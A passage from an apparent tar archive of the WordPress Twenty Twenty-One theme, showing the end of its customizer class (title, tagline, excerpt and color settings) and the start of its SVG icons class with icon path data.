), ) ); // Add partial for blogdescription. $wp_customize->selective_refresh->add_partial( 'blogdescription', array( 'selector' => '.site-description', 'render_callback' => array( $this, 'partial_blogdescription' ), ) ); // Add "display_title_and_tagline" setting for displaying the site-title & tagline. $wp_customize->add_setting( 'display_title_and_tagline', array( 'capability' => 'edit_theme_options', 'default' => true, 'sanitize_callback' => array( __CLASS__, 'sanitize_checkbox' ), ) ); // Add control for the "display_title_and_tagline" setting. $wp_customize->add_control( 'display_title_and_tagline', array( 'type' => 'checkbox', 'section' => 'title_tagline', 'label' => esc_html__( 'Display Site Title & Tagline', 'twentytwentyone' ), ) ); /** * Add excerpt or full text selector to customizer */ $wp_customize->add_section( 'excerpt_settings', array( 'title' => esc_html__( 'Excerpt Settings', 'twentytwentyone' ), 'priority' => 120, ) ); $wp_customize->add_setting( 'display_excerpt_or_full_post', array( 'capability' => 'edit_theme_options', 'default' => 'excerpt', 'sanitize_callback' => static function( $value ) { return 'excerpt' === $value || 'full' === $value ? $value : 'excerpt'; }, ) ); $wp_customize->add_control( 'display_excerpt_or_full_post', array( 'type' => 'radio', 'section' => 'excerpt_settings', 'label' => esc_html__( 'On Archive Pages, posts show:', 'twentytwentyone' ), 'choices' => array( 'excerpt' => esc_html__( 'Summary', 'twentytwentyone' ), 'full' => esc_html__( 'Full text', 'twentytwentyone' ), ), ) ); // Background color. // Include the custom control class. include_once get_theme_file_path( 'classes/class-twenty-twenty-one-customize-color-control.php' ); // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound // Register the custom control. $wp_customize->register_control_type( 'Twenty_Twenty_One_Customize_Color_Control' ); // Get the palette from theme-supports. $palette = get_theme_support( 'editor-color-palette' ); // Build the colors array from theme-support. $colors = array(); if ( isset( $palette[0] ) && is_array( $palette[0] ) ) { foreach ( $palette[0] as $palette_color ) { $colors[] = $palette_color['color']; } } // Add the control. Overrides the default background-color control. $wp_customize->add_control( new Twenty_Twenty_One_Customize_Color_Control( $wp_customize, 'background_color', array( 'label' => esc_html_x( 'Background color', 'Customizer control', 'twentytwentyone' ), 'section' => 'colors', 'palette' => $colors, ) ) ); } /** * Sanitize boolean for checkbox. * * @since Twenty Twenty-One 1.0 * * @param bool $checked Whether or not a box is checked. * @return bool */ public static function sanitize_checkbox( $checked = null ) { return (bool) isset( $checked ) && true === $checked; } /** * Render the site title for the selective refresh partial. * * @since Twenty Twenty-One 1.0 * * @return void */ public function partial_blogname() { bloginfo( 'name' ); } /** * Render the site tagline for the selective refresh partial. * * @since Twenty Twenty-One 1.0 * * @return void */ public function partial_blogdescription() { bloginfo( 'description' ); } } } class-twenty-twenty-one-svg-icons.php 0000666 00000145561 15165375754 0013771 0 ustar 00 <?php /** * SVG Icons class * * @package WordPress * @subpackage Twenty_Twenty_One * @since Twenty Twenty-One 1.0 */ /** * This class is in charge of displaying SVG icons across the site. * * Place each <svg> source on its own array key, without adding either * the `width` or `height` attributes, since these are added dynamically, * before rendering the SVG code. * * All icons are assumed to have equal width and height, hence the option * to only specify a `$size` parameter in the svg methods. * * @since Twenty Twenty-One 1.0 */ class Twenty_Twenty_One_SVG_Icons { /** * User Interface icons – svg sources. * * @since Twenty Twenty-One 1.0 * * @var array */ protected static $icons = array( 'arrow_right' => '<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="m4 13v-2h12l-4-4 1-2 7 7-7 7-1-2 4-4z" fill="currentColor"/></svg>', 'arrow_left' => '<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M20 13v-2H8l4-4-1-2-7 7 7 7 1-2-4-4z" fill="currentColor"/></svg>', 'close' => '<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M12 10.9394L5.53033 4.46973L4.46967 5.53039L10.9393 12.0001L4.46967 18.4697L5.53033 19.5304L12 13.0607L18.4697 19.5304L19.5303 18.4697L13.0607 12.0001L19.5303 5.53039L18.4697 4.46973L12 10.9394Z" fill="currentColor"/></svg>', 'menu' => '<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.5 6H19.5V7.5H4.5V6ZM4.5 12H19.5V13.5H4.5V12ZM19.5 18H4.5V19.5H19.5V18Z" fill="currentColor"/></svg>', 'plus' => '<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z" fill="currentColor"/></svg>', 'minus' => '<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M6 11h12v2H6z" fill="currentColor"/></svg>', ); /** * Social Icons – svg sources. * * @since Twenty Twenty-One 1.0 * * @var array */ protected static $social_icons = array( '500px' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>', 'amazon' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>', 'bandcamp' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>', 'behance' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>', 'codepen' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>', 'deviantart' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>', 'dribbble' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>', 'dropbox' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>', 'etsy' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>', 'facebook' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>', 'feed' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>', 'flickr' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>', 'foursquare' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>', 'goodreads' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>', 'google' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>', 'github' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>', 'instagram' => '<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 